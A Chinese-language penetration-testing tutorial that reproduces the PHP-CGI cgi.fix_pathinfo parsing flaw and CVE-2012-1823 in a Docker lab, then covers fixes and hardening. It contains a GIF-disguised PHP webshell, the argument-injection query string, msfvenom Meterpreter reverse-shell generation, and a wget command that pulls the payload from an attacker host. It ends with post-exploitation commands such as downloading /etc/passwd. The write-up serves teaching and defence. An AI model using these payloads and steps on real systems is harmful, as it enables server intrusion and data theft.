PHP-CGI漏洞复现:从配置安全到Metasploit实战利用

📅 2026/7/7 12:03:56
PHP-CGI漏洞复现:从配置安全到Metasploit实战利用
1. 项目概述与核心价值看到“PHP-CGI漏洞复现”这个标题很多刚入门安全研究的朋友可能会觉得这又是一个老掉牙的、过时的漏洞没什么好研究的。但以我十多年的渗透测试和红队经验来看CVE-2012-1823这个漏洞的价值远不止于一个简单的“远程代码执行”。它更像是一个经典的“配置安全”与“协议理解”的活教材。这个漏洞的根源在于PHP-CGIFastCGI模式下一个名为cgi.fix_pathinfo的配置参数被错误地开启结合Web服务器如Nginx、Apache对请求路径的特定解析方式导致攻击者能够将任意文件当作PHP脚本来解析执行。为什么今天还要复现它首先原理的普适性。这个漏洞的触发条件——错误配置的CGI参数与不安全的路径解析——在今天许多新兴的Web框架、Serverless函数服务甚至是一些IoT设备的Web管理界面中依然以各种变体形式存在。理解了这个漏洞你就掌握了识别一类“路径穿越解析混淆”漏洞的钥匙。其次Metasploit的实战教学价值。通过复现这个漏洞你能完整走通一次从环境搭建、漏洞验证到利用工具Metasploit深度使用的全流程。这不仅仅是点一下“exploit”按钮而是理解MSF模块的内部结构、载荷Payload的选择、会话Session的建立与维持以及后渗透Post-Exploitation的初步尝试。最后防御视角的构建。只有亲手成功攻击过一个系统你才能最深刻地理解防御方应该在哪里设置关卡、如何配置才是安全的。这对于从事安全运维、安全开发的同学来说是无价的实战经验。接下来我将带你从零开始搭建一个包含漏洞的PHP-CGI环境然后使用Metasploit Framework进行漏洞利用并深入剖析每一个步骤背后的原理和注意事项。整个过程我会尽量模拟真实的手动测试场景而不仅仅是工具的点选操作。2. 漏洞原理深度剖析在动手之前我们必须把漏洞的原理吃透否则搭建环境和利用过程就会变成“黑盒操作”遇到问题也不知道如何排查。2.1 CGI、FastCGI与PHP-CGI模式首先需要厘清几个关键概念。早期的Web服务器如Apache处理PHP请求时通常使用mod_php模块PHP解释器作为Apache的一个模块内嵌运行性能高但内存占用大且与Web服务器耦合紧密。CGI通用网关接口是一种更古老、更通用的标准。当Web服务器接收到一个动态请求比如访问.php文件时它会启动一个独立的CGI进程例如php-cgi程序将请求参数通过环境变量和标准输入stdin传递给该进程然后CGI进程执行脚本将结果通过标准输出stdout返回给Web服务器最后Web服务器再将结果返回给客户端。这种方式每次请求都要fork新进程开销巨大。FastCGI是对CGI的优化。它引入了一个常驻的进程管理器PHP-FPM就是其中一种实现。Web服务器与FastCGI进程管理器通过Socket文件Socket或网络Socket进行通信。进程管理器会管理一个PHP解释器进程池处理完请求后进程不销毁从而避免了频繁创建进程的开销。性能比CGI好很多。PHP-CGI是PHP官方提供的一个用于CGI/FastCGI模式的命令行接口程序。当我们在说“PHP-CGI模式”时通常指的是通过这个php-cgi可执行文件来处理请求它既可以以纯CGI方式运行也可以作为FastCGI进程运行。我们漏洞复现的环境就是模拟一个使用php-cgi以FastCGI模式运行作为后端的Web服务器配置。2.2 漏洞核心cgi.fix_pathinfo与路径解析漏洞的核心在于PHP配置文件php.ini中的一个选项cgi.fix_pathinfo。这个参数的默认值在历史版本中是1开启。它的作用是什么呢当PHP以CGI模式运行时它通常从环境变量SCRIPT_FILENAME获取要执行的脚本路径。但有些旧的系统或配置传递的路径信息可能不完整或不符合预期。cgi.fix_pathinfo设置为1时PHP会进行一种“补救”行为假设请求的路径是/path/to/script.jpg/foo.php。Web服务器如Nginx可能因为配置将整个路径传递给PHP-CGI并设置SCRIPT_FILENAME为/path/to/script.jpg/foo.php。由于cgi.fix_pathinfo1PHP会沿着路径从左往右检查寻找第一个存在的、且后缀名在cgi扩展名列表如.php中的文件。它先检查/path/to/script.jpg/foo.php是否存在且是PHP文件假设不存在。然后它“修正”路径去掉最后一部分检查/path/to/script.jpg是否存在。假设这个文件存在一张图片。此时PHP会将/path/to/script.jpg当作要执行的PHP脚本而将/foo.php部分当作路径信息PATH_INFO存储在环境变量中。这就导致了灾难性的后果攻击者可以上传一个图片文件如test.jpg然后通过访问http://target.com/upload/test.jpg/notexist.php使得服务器将图片test.jpg当作PHP代码来解析执行。如果图片文件中包含恶意的PHP代码例如通过图片木马的方式那么攻击者就能在服务器上执行任意命令。2.3 CVE-2012-1823的具体触发条件CVE-2012-1823是这个通用问题的一个具体实例化。在特定的PHP版本 5.3.12, 5.4.2和特定的Web服务器配置下攻击者可以利用查询字符串Query String来直接传递要执行的代码而无需依赖上传文件。其利用格式通常类似于http://target.com/path/to/php-cgi?-dallow_url_include%3d1-dauto_prepend_file%3dphp://input然后通过POST请求体发送PHP代码。这里的-d是PHP命令行参数用于设置php.ini配置项。通过精心构造的请求攻击者能够绕过某些安全限制直接让php-cgi执行传入的代码。这比需要文件上传的利用方式更加直接和危险。注意我们本次复现的重点是更具教学意义和普遍性的“文件解析漏洞”利用方式即利用cgi.fix_pathinfo因为它涉及的原理更基础触发的场景更广泛。而CVE-2012-1823的原始利用方式对环境和版本要求更苛刻。Metasploit中的exploit/multi/http/php_cgi_arg_injection模块通常针对后者但理解前者是基础。2.4 影响范围与修复方案影响版本理论上所有在CGI/FastCGI模式下运行且开启了cgi.fix_pathinfo1的PHP版本都受影响。CVE-2012-1823特指PHP 5.3.12及之前、5.4.2及之前的版本中参数注入导致的直接代码执行。修复方案根本措施在php.ini中将cgi.fix_pathinfo设置为0。这是官方推荐的做法也是目前主流PHP发行版如使用PHP-FPM的默认配置的默认值。Web服务器配置在Nginx的location配置中使用try_files指令或严格的路径匹配确保传递给PHP-FPM的SCRIPT_FILENAME参数是一个真实存在的PHP文件路径避免传递畸形路径。权限控制确保上传目录没有执行权限即该目录的配置中不应包含PHP解释器。例如Nginx中可以对上传目录的location块设置location ~* \.(jpg|jpeg|png|gif)$ { ... }并确保内部不调用PHP处理器。3. 靶机环境搭建与配置理解了原理我们开始动手搭建一个存在漏洞的测试环境。为了高度还原和可控我们使用Docker来构建环境。这比在物理机或虚拟机上配置NginxPHP要快捷和干净得多。3.1 环境规划与工具准备我们计划搭建一个经典的LNMPLinux Nginx MySQL PHP环境但故意使用一个存在漏洞的PHP版本和错误配置。操作系统Ubuntu 18.04 (作为Docker容器的基础)Web服务器Nginx 1.14PHPPHP 5.4.45 (一个明确受影响的版本并且默认cgi.fix_pathinfo1)部署方式使用Docker Compose编排方便管理服务。你需要准备的工具一台安装有Docker和Docker Compose的Linux/Mac/WSL2主机。这是我们的“攻击者/实验机”。基本的命令行操作知识。可选一个代码编辑器用于编写配置文件。3.2 编写Dockerfile与配置文件首先创建一个项目目录例如phpcgi_vuln_lab。mkdir phpcgi_vuln_lab cd phpcgi_vuln_lab1. 编写Dockerfile创建一个Dockerfile用于构建包含漏洞PHP环境的镜像。# 使用一个较旧的Ubuntu版本作为基础便于安装旧版PHP FROM ubuntu:18.04 # 避免安装过程中的交互提示 ENV DEBIAN_FRONTENDnoninteractive # 更新源并安装必要的软件Nginx, PHP-CGI, 以及一些扩展和工具 RUN apt-get update apt-get install -y \ nginx \ php5-cgi \ # 关键安装php-cgi php5-cli \ php5-fpm \ # 我们也安装fpm但主要使用cgi php5-mysql \ vim \ net-tools \ curl \ --no-install-recommends # 创建Web根目录和上传目录 RUN mkdir -p /var/www/html/upload \ chown -R www-data:www-data /var/www/html # 关键漏洞配置修改php.ini开启cgi.fix_pathinfo # 先找到php.ini位置通常对于php5-cgi是 /etc/php5/cgi/php.ini RUN sed -i s/;cgi.fix_pathinfo1/cgi.fix_pathinfo1/ /etc/php5/cgi/php.ini \ sed -i s/;cgi.fix_pathinfo1/cgi.fix_pathinfo1/ /etc/php5/fpm/php.ini # 为了演示fpm的也改一下 # 创建一个包含漏洞的PHP脚本用于验证解析漏洞 RUN echo ?php echo Vulnerable PHP CGI Server Running. PHP Version: . phpversion(); ? /var/www/html/index.php # 创建一个用于测试解析漏洞的图片文件实际是包含PHP代码的文本文件 RUN echo GIF89a?php system(\$_GET[cmd]); ? /var/www/html/upload/shell.gif # 配置Nginx以CGI模式运行PHP这是漏洞的关键配置 # 我们注释掉默认的FPM配置改用CGI RUN rm /etc/nginx/sites-enabled/default COPY nginx-cgi.conf /etc/nginx/sites-available/default RUN ln -s /etc/nginx/sites-available/default /etc/nginx/sites-enabled/ # 暴露端口 EXPOSE 80 # 启动脚本同时启动Nginx和php-cgi以FastCGI模式在后台运行 COPY start.sh /start.sh RUN chmod x /start.sh CMD [/start.sh]2. 编写Nginx配置nginx-cgi.conf这个配置是关键它告诉Nginx将PHP请求转发给php-cgi进程处理而不是默认的php-fpm。server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html; index index.php index.html index.htm; server_name _; location / { try_files $uri $uri/ 404; } # 关键漏洞配置将所有以 .php 结尾的请求传递给 php-cgi 处理 # 并且这里使用了 $document_root$fastcgi_script_name在特定请求下会导致路径解析问题 location ~ \.php$ { # 将请求转发到本机9000端口运行的是php-cgi fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; # 使用标准的CGI参数 include fastcgi_params; # 这个变量是触发漏洞的关键之一 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; } # 模拟一个上传目录通常这里不会有PHP处理器但因为我们上面的配置是全局匹配.php所以依然会处理 location /upload/ { # 这里没有额外的配置请求/upload/shell.gif/aaa.php 会匹配到上面的 location ~ \.php$ } }3. 编写启动脚本start.sh这个脚本用于启动php-cgi服务和Nginx。#!/bin/bash # 启动php-cgi监听在9000端口以FastCGI模式运行 /usr/bin/php-cgi -b 127.0.0.1:9000 # 启动Nginx以前台模式运行 nginx -g daemon off;4. 编写docker-compose.yml使用Docker Compose来管理服务方便以后扩展比如加入MySQL。version: 3 services: web: build: . ports: - 8080:80 # 将容器的80端口映射到主机的8080端口 # 为了调试方便可以挂载代码目录生产环境不建议 # volumes: # - ./www:/var/www/html3.3 构建与启动漏洞环境在项目根目录包含Dockerfile, nginx-cgi.conf, start.sh, docker-compose.yml的目录下执行# 构建Docker镜像第一次需要下载基础镜像时间较长 docker-compose build # 启动服务 docker-compose up -d使用docker ps命令查看容器是否正常运行。如果一切顺利你现在可以通过浏览器访问http://你的主机IP:8080应该能看到显示 “Vulnerable PHP CGI Server Running. PHP Version: 5.4.45” 的页面。3.4 环境验证与手动漏洞测试在动用Metasploit之前我们先用手动方式验证漏洞是否存在这能加深理解。验证步骤1检查上传的“图片”文件访问http://你的主机IP:8080/upload/shell.gif。浏览器可能会尝试下载或者显示一个破损的GIF图片。用curl查看源码更清楚curl http://localhost:8080/upload/shell.gif你会看到文件内容GIF89a?php system($_GET[cmd]); ?。这看起来像一个GIF文件头后面跟着PHP代码。目前它被当作静态文件处理。验证步骤2触发解析漏洞现在我们访问http://你的主机IP:8080/upload/shell.gif/anything.php。注意anything.php这个文件在服务器上并不存在。curl http://localhost:8080/upload/shell.gif/anything.php如果漏洞存在Nginx会将这个请求匹配到location ~ \.php$并将路径/upload/shell.gif/anything.php传递给PHP-CGI。由于cgi.fix_pathinfo1PHP会沿着路径寻找发现/upload/shell.gif存在于是将其作为PHP脚本执行。你可能会得到一个空响应或者一个错误。这是因为我们试图执行system($_GET[cmd])但没有提供cmd参数。让我们带上参数试试curl http://localhost:8080/upload/shell.gif/anything.php?cmdid如果漏洞成功被利用你将会看到系统命令id的执行结果例如uid33(www-data) gid33(www-data) groups33(www-data)。实操心得手动测试时如果返回“Access denied”或“No input file specified.”不要灰心。这可能是因为Nginx和PHP-CGI之间的路径信息传递有问题或者文件权限导致PHP无法读取shell.gif。你需要检查Docker容器内/var/www/html/upload/shell.gif的文件权限确保www-data用户可读。Nginx错误日志 (docker-compose logs web) 和 PHP-CGI的输出看是否有路径错误。尝试使用绝对路径在SCRIPT_FILENAME中测试。这个调试过程本身就是宝贵的学习经验。4. Metasploit框架实战利用手动验证成功说明漏洞确实存在。现在我们使用渗透测试行业的标准工具——Metasploit FrameworkMSF来进行一次自动化的漏洞利用。这不仅能获得一个稳定的反向Shell还能学习MSF模块的使用和配置。4.1 Metasploit环境准备与模块选择确保你的攻击机Kali Linux 或安装了MSF的其他系统上已经安装了Metasploit。启动MSF控制台msfconsole等待初始化完成后我们搜索与PHP-CGI相关的漏洞利用模块search php_cgi你会看到几个相关的模块。对于我们的漏洞环境文件解析型最常用的是exploit/multi/http/php_cgi_arg_injection。但请注意这个模块主要针对的是CVE-2012-1823的参数注入变种它不一定能直接利用我们搭建的“路径解析”漏洞。不过它依然是一个很好的学习对象并且在一些特定配置下可能成功。我们更常用的可能是exploit/unix/webapp/php_cgi_arg_injection的变体或者使用auxiliary/scanner/http/php_cgi_path_injection扫描器先进行检测。为了教学完整性我们先使用一个更通用的、用于获取Shell的模块它通常被用于此类CGI解析漏洞。但MSF可能没有直接命名为“php_cgi_path_injection”的exploit模块。因此一个更可靠的方法是使用exploit/multi/script/web_delivery模块配合手动触发的漏洞点。或者我们可以使用MSF生成一个PHP反向Shell载荷然后通过我们已验证的漏洞点shell.gif?cmd...来执行。这里我们演示第二种更贴近实战的思路使用MSF生成载荷并通过已验证的RCE点执行。4.2 生成PHP反向Shell载荷首先退出msfconsole或新开一个终端使用MSF的msfvenom工具生成一个PHP反向Shell。msfvenom -p php/meterpreter/reverse_tcp LHOST你的攻击机IP LPORT4444 -f raw shell.php-p php/meterpreter/reverse_tcp: 指定载荷类型为PHP的Meterpreter反向TCP连接。LHOST你的攻击机IP: 设置监听器的IP地址即运行MSF的机器IP。LPORT4444: 设置监听端口。-f raw: 输出格式为原始PHP代码。 shell.php: 将生成的代码保存到shell.php文件。现在你得到了一个包含Meterpreter反向Shell代码的shell.php文件。我们需要将其上传到目标服务器。由于我们有文件上传漏洞或者通过已有的RCE点我们可以模拟这个过程。最简单的方式是将这段PHP代码直接写入目标服务器的Web目录。我们可以利用已有的命令执行漏洞cmd参数来做到这一点。使用curl和echo命令# 将shell.php的内容进行URL编码简化操作使用单行命令 # 注意这里需要将生成的shell.php内容进行转义实际中可能很复杂。 # 更稳妥的方法在攻击机启动一个HTTP服务让目标机下载。 # 步骤1在攻击机当前目录有shell.php启动一个简单的HTTP服务器 python3 -m http.server 8000 # 或使用 php -S 0.0.0.0:8000 # 步骤2利用目标漏洞使用wget或curl命令将shell.php下载到目标服务器 TARGEThttp://localhost:8080 curl -G $TARGET/upload/shell.gif/anything.php --data-urlencode cmdwget http://你的攻击机IP:8000/shell.php -O /var/www/html/shell_msf.php执行上述命令后如果成功shell_msf.php就被下载到了目标的Web根目录。4.3 启动Metasploit监听器回到MSF控制台设置一个处理器handler来接收反弹回来的Meterpreter会话。msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 你的攻击机IP set LPORT 4444 exploit -juse exploit/multi/handler: 使用通用的载荷处理器。set payload php/meterpreter/reverse_tcp: 必须与msfvenom生成的载荷类型一致。set LHOST/set LPORT: 设置监听地址和端口与生成载荷时一致。exploit -j: 以作业job形式运行监听器这样它就在后台运行不占用当前控制台。你会看到类似[*] Started reverse TCP handler on 你的IP:4444的提示。4.4 触发漏洞并获取Meterpreter会话现在通过浏览器或curl访问我们上传的Meterpreter Shell脚本curl http://localhost:8080/shell_msf.php这个动作会执行shell_msf.php中的代码尝试反向连接到你的攻击机你的IP:4444。如果一切配置正确在MSF控制台你会看到[*] Sending stage (39927 bytes) to 目标IP [*] Meterpreter session 1 opened (你的IP:4444 - 目标IP:随机端口)恭喜你已经成功通过PHP-CGI漏洞获得了目标服务器的Meterpreter会话。输入sessions -i 1可以交互到这个会话。4.5 后渗透测试初步获得Meterpreter会话后你可以进行很多操作来验证权限和探索系统。这里演示几个基本命令meterpreter sysinfo # 查看系统信息 meterpreter getuid # 查看当前用户权限应该是www-data meterpreter pwd # 查看当前工作目录 meterpreter ls # 列出目录文件 meterpreter upload /path/to/local/file /tmp/ # 上传文件到目标 meterpreter download /etc/passwd /tmp/ # 下载文件到攻击机 meterpreter shell # 进入系统命令行shell注意事项在真实的渗透测试或攻防演练中获取Shell只是第一步。你需要进行权限提升提权、内网横向移动、信息收集、痕迹清理等一系列操作。这些属于“后渗透”Post-Exploitation阶段有大量的技术和工具可以使用。在实验环境中请务必在授权和隔离的环境中进行。5. 漏洞修复与安全加固建议成功复现和利用漏洞之后我们必须知道如何修复它这才是安全研究的最终目的——为了更好的防御。5.1 立即修复措施对于我们自己搭建的这个漏洞环境修复方法很简单修改PHP配置编辑容器内的/etc/php5/cgi/php.ini文件找到cgi.fix_pathinfo这一行将其值改为0。docker-compose exec web bash sed -i s/cgi.fix_pathinfo1/cgi.fix_pathinfo0/ /etc/php5/cgi/php.ini然后重启PHP-CGI进程或整个容器。优化Nginx配置这是更推荐的生产环境做法。修改Nginx的PHP location配置使用try_files指令确保请求的文件确实存在并且严格限制传递给PHP的脚本路径。location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; include fastcgi_params; # 关键修复使用 $realpath_root$fastcgi_script_name并结合try_files验证 fastcgi_param SCRIPT_FILENAME $realpath_root$fastcgi_script_name; # 更安全的做法使用固定的脚本名或严格的验证 # if (!-f $document_root$fastcgi_script_name) { # return 404; # } }实际上最安全的配置是将PHP处理器配置与静态文件配置完全分离。5.2 长期安全加固建议使用PHP-FPM代替PHP-CGIPHP-FPMFastCGI Process Manager是更现代、更安全、性能更好的PHP进程管理器。它有许多内置的安全特性并且与Nginx/Apache集成更佳。遵循最小权限原则运行PHP-FPM/Nginx的进程用户如www-data应具有尽可能少的权限。确保Web根目录文件所有权正确上传目录不可执行。及时更新保持PHP、Nginx及系统所有软件更新到最新稳定版及时修补已知漏洞。安全配置检查定期使用安全扫描工具如lynis,php-security-checker或手动审查服务器配置。WAFWeb应用防火墙在Web服务器前端部署WAF可以拦截许多已知的攻击模式包括对畸形路径的请求。6. 常见问题排查与深度思考在复现过程中你可能会遇到各种问题。这里我总结了一些常见的坑和排查思路。6.1 环境搭建问题Docker构建失败可能是网络问题导致基础镜像拉取失败或者Dockerfile中软件包名已过时Ubuntu 18.04的源可能已关闭。可以尝试更换更近的但仍有旧PHP的镜像如ubuntu:20.04并调整软件包名如php7.4-cgi。但要注意新版本PHP可能默认已修复漏洞。容器启动后服务未运行使用docker-compose logs web查看日志。常见原因是启动脚本start.sh没有执行权限或者PHP-CGI启动失败端口被占用。进入容器(docker-compose exec web bash)手动执行start.sh看报错。访问网页显示“File not found”或“No input file specified”这是Nginx与PHP-CGI通信或路径配置问题。检查Nginx配置中的fastcgi_param SCRIPT_FILENAME路径是否正确以及PHP文件是否真实存在于该路径。在容器内用curl 127.0.0.1/index.php测试PHP-CGI本身是否工作。6.2 漏洞利用失败问题手动curl命令执行id无输出检查漏洞条件确认访问http://target/upload/shell.gif能下载到包含PHP代码的文件。确认访问http://target/upload/shell.gif/xxx.php的响应与直接访问.gif不同可能返回空或错误。如果相同说明漏洞未触发Nginx可能将请求作为静态文件处理了。检查PHP配置进入容器执行php-cgi -i | grep fix_pathinfo确认其值是否为1。检查文件权限确保shell.gif对PHP进程用户www-data可读。使用绝对路径测试在Nginx配置中临时将SCRIPT_FILENAME改为绝对路径/var/www/html/upload/shell.gif进行测试排除路径拼接错误。Metasploit监听器收不到会话防火墙确保攻击机的4444端口未被防火墙阻止且目标机可以访问到攻击机的IP和端口在Docker环境下注意网络模式桥接模式时目标容器需要能路由到主机。载荷执行失败通过漏洞点直接执行一个简单的命令测试连通性如curl --data-urlencode cmdwhich wget http://target/...。或者让目标机ping你的攻击机IP。Payload兼容性php/meterpreter/reverse_tcp载荷可能依赖某些被禁用的PHP函数如fsockopen,stream_socket_client。可以尝试生成一个更基础的PHP Exec载荷 (php/exec) 先测试命令执行是否通畅。杀毒软件/IDS实验环境中一般没有但真实环境需考虑载荷被检测的问题。6.3 深度思考漏洞的变体与现代应用这个漏洞的原理在今天依然有生命力。思考以下场景云函数/Serverless在一些云平台的函数计算服务中如果用户上传的处理函数代码包如ZIP中包含非预期格式的文件如图片、文本而平台的路由机制存在类似的解析歧义是否可能导致非代码文件被执行容器镜像从漏洞镜像如php:5.4-apache直接部署应用而未修改安全配置相当于自带漏洞。框架路由一些现代PHP框架如Laravel, Symfony使用前端控制器模式所有请求路由到index.php通常避免了此类问题。但一些老旧的自研框架或配置不当的NginxPHP项目仍然风险很高。复现一个“古老”的漏洞绝不是为了攻击过时的系统而是为了训练我们发现漏洞的“眼睛”和修复漏洞的“双手”。每一次成功的复现都是对攻击链和防御体系的一次深度遍历。当你再看到cgi.fix_pathinfo这个配置项时你会立刻意识到它的风险当你审查Nginx配置时你会对SCRIPT_FILENAME的传递格外敏感。这种条件反射式的安全意识正是通过这样一次次的动手实践积累起来的。